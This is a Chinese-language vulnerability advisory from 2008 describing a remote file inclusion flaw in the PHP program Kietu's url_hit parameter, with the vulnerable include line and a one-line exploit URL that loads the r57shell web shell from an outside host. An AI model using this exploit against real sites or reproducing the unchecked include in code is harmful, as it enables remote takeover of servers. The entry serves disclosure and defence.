添加时间:
2008-10-03

系统编号:
WAVDB-01050
BUGTRAQ: 20229

影响版本:
Kietu <= v4.0.0b2z

程序介绍:

Kietu是一款由PHP编写的程序。

漏洞分析:

Kietu的url_hit.php脚本没有正确的验证用户输入，允许攻击者通过包含本地或外部资源的任意文件执行任意代码。
漏洞代码如下：
include_once $url_hit.'class/kdetect.class.php';

漏洞利用:

http://www.example.com/[Script Path]/hit.php?url_hit=http://d4wood.by.ru/r57shell.php?

解决方案:
厂商补丁：
Kietu
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://kietu.free.fr/

信息来源:
<*来源：D_7J （D_7J@yahoo.com）
链接：http://milw0rm.com/exploits/2438
*>